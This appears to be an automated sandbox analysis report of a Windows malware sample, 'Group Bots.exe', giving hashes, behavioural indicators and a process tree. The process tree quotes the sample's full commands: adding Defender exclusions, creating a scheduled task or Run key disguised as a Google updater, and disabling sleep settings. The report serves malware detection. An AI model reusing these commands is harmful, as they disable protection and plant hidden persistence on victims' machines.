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Analysis
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max time kernel
34s -
max time network
82s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
25/08/2023, 14:39
Static task
static1
Behavioral task
behavioral1
Sample
Group Bots.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
Group Bots.exe
Resource
win10v2004-20230703-en
General
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Target
Group Bots.exe
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Size
1.6MB
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MD5
f5a2da741ab2b11ecd79d957f205e4bc
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SHA1
62d9022f4b72268fb2523cf849ed9b9b0a162888
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SHA256
9824e1ed7f0224fbcc9f3e93bb645500fff8d8841d9adb0da49667cce9537d2a
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SHA512
12cb4ee676c720989a70b3babd8973b678e6b27cf55375e4b9d5dc5c6312513ef3b27de11a4802c9f3b6d41bb52f2fffe0ba87a2bfd4fe9a23185b40596e2c68
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SSDEEP
49152:KNm+gSx2NFNJL2enS7U6LGsGjbkhBuvS5XMjViyHR:KNmQgNF7SpL3Gjbk/MW8jViu
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1712 created 3160 1712 Group Bots.exe 40 PID 1712 created 3160 1712 Group Bots.exe 40 PID 1712 created 3160 1712 Group Bots.exe 40 PID 1712 created 3160 1712 Group Bots.exe 40 PID 3720 created 3160 3720 updater.exe 40 -
Executes dropped EXE 1 IoCs
pid Process 3720 updater.exe -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe Group Bots.exe -
Suspicious behavior: EnumeratesProcesses 16 IoCs
pid Process 1712 Group Bots.exe 1712 Group Bots.exe 1348 powershell.exe 1348 powershell.exe 1712 Group Bots.exe 1712 Group Bots.exe 1712 Group Bots.exe 1712 Group Bots.exe 1832 powershell.exe 1832 powershell.exe 1712 Group Bots.exe 1712 Group Bots.exe 2340 powershell.exe 2340 powershell.exe 3720 updater.exe 3720 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1348 powershell.exe Token: SeShutdownPrivilege 2808 powercfg.exe Token: SeCreatePagefilePrivilege 2808 powercfg.exe Token: SeDebugPrivilege 1832 powershell.exe Token: SeShutdownPrivilege 928 powercfg.exe Token: SeCreatePagefilePrivilege 928 powercfg.exe Token: SeShutdownPrivilege 740 powercfg.exe Token: SeCreatePagefilePrivilege 740 powercfg.exe Token: SeShutdownPrivilege 372 powercfg.exe Token: SeCreatePagefilePrivilege 372 powercfg.exe Token: SeIncreaseQuotaPrivilege 1832 powershell.exe Token: SeSecurityPrivilege 1832 powershell.exe Token: SeTakeOwnershipPrivilege 1832 powershell.exe Token: SeLoadDriverPrivilege 1832 powershell.exe Token: SeSystemProfilePrivilege 1832 powershell.exe Token: SeSystemtimePrivilege 1832 powershell.exe Token: SeProfSingleProcessPrivilege 1832 powershell.exe Token: SeIncBasePriorityPrivilege 1832 powershell.exe Token: SeCreatePagefilePrivilege 1832 powershell.exe Token: SeBackupPrivilege 1832 powershell.exe Token: SeRestorePrivilege 1832 powershell.exe Token: SeShutdownPrivilege 1832 powershell.exe Token: SeDebugPrivilege 1832 powershell.exe Token: SeSystemEnvironmentPrivilege 1832 powershell.exe Token: SeRemoteShutdownPrivilege 1832 powershell.exe Token: SeUndockPrivilege 1832 powershell.exe Token: SeManageVolumePrivilege 1832 powershell.exe Token: 33 1832 powershell.exe Token: 34 1832 powershell.exe Token: 35 1832 powershell.exe Token: 36 1832 powershell.exe Token: SeIncreaseQuotaPrivilege 1832 powershell.exe Token: SeSecurityPrivilege 1832 powershell.exe Token: SeTakeOwnershipPrivilege 1832 powershell.exe Token: SeLoadDriverPrivilege 1832 powershell.exe Token: SeSystemProfilePrivilege 1832 powershell.exe Token: SeSystemtimePrivilege 1832 powershell.exe Token: SeProfSingleProcessPrivilege 1832 powershell.exe Token: SeIncBasePriorityPrivilege 1832 powershell.exe Token: SeCreatePagefilePrivilege 1832 powershell.exe Token: SeBackupPrivilege 1832 powershell.exe Token: SeRestorePrivilege 1832 powershell.exe Token: SeShutdownPrivilege 1832 powershell.exe Token: SeDebugPrivilege 1832 powershell.exe Token: SeSystemEnvironmentPrivilege 1832 powershell.exe Token: SeRemoteShutdownPrivilege 1832 powershell.exe Token: SeUndockPrivilege 1832 powershell.exe Token: SeManageVolumePrivilege 1832 powershell.exe Token: 33 1832 powershell.exe Token: 34 1832 powershell.exe Token: 35 1832 powershell.exe Token: 36 1832 powershell.exe Token: SeIncreaseQuotaPrivilege 1832 powershell.exe Token: SeSecurityPrivilege 1832 powershell.exe Token: SeTakeOwnershipPrivilege 1832 powershell.exe Token: SeLoadDriverPrivilege 1832 powershell.exe Token: SeSystemProfilePrivilege 1832 powershell.exe Token: SeSystemtimePrivilege 1832 powershell.exe Token: SeProfSingleProcessPrivilege 1832 powershell.exe Token: SeIncBasePriorityPrivilege 1832 powershell.exe Token: SeCreatePagefilePrivilege 1832 powershell.exe Token: SeBackupPrivilege 1832 powershell.exe Token: SeRestorePrivilege 1832 powershell.exe Token: SeShutdownPrivilege 1832 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4748 wrote to memory of 2808 4748 cmd.exe 94 PID 4748 wrote to memory of 2808 4748 cmd.exe 94 PID 4748 wrote to memory of 928 4748 cmd.exe 95 PID 4748 wrote to memory of 928 4748 cmd.exe 95 PID 4748 wrote to memory of 740 4748 cmd.exe 96 PID 4748 wrote to memory of 740 4748 cmd.exe 96 PID 4748 wrote to memory of 372 4748 cmd.exe 97 PID 4748 wrote to memory of 372 4748 cmd.exe 97 PID 2340 wrote to memory of 2160 2340 powershell.exe 100 PID 2340 wrote to memory of 2160 2340 powershell.exe 100
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3160
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C:\Users\Admin\AppData\Local\Temp\Group Bots.exe"C:\Users\Admin\AppData\Local\Temp\Group Bots.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1712
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1348
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hizrhk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1832
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:4748 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:2808
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:928
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:740
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:372
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#jxtsdguy#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2160
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵PID:3624
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3720
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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Filesize
1.6MB
MD5f5a2da741ab2b11ecd79d957f205e4bc
SHA162d9022f4b72268fb2523cf849ed9b9b0a162888
SHA2569824e1ed7f0224fbcc9f3e93bb645500fff8d8841d9adb0da49667cce9537d2a
SHA51212cb4ee676c720989a70b3babd8973b678e6b27cf55375e4b9d5dc5c6312513ef3b27de11a4802c9f3b6d41bb52f2fffe0ba87a2bfd4fe9a23185b40596e2c68
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD562623d22bd9e037191765d5083ce16a3
SHA14a07da6872672f715a4780513d95ed8ddeefd259
SHA25695d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA5129a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
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Filesize
1KB
MD5cf3a85f097fa08c49bf10783f874a5c0
SHA1c35c3a27c0f82691f87af2892295c7368ee3173f
SHA2560caf1c4655b20f22fba39cadc077a5160eb4dc3638e06a98c0abfb6f87369790
SHA512557d2a7761b4b1a7293fbd2e9f8ff5c71e5ba053c2d4dc79c9dc2de7d4896a7ddc293ef282dacd23deae53a4b64e54d3f3236144c8765b0fc109965d2798244a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82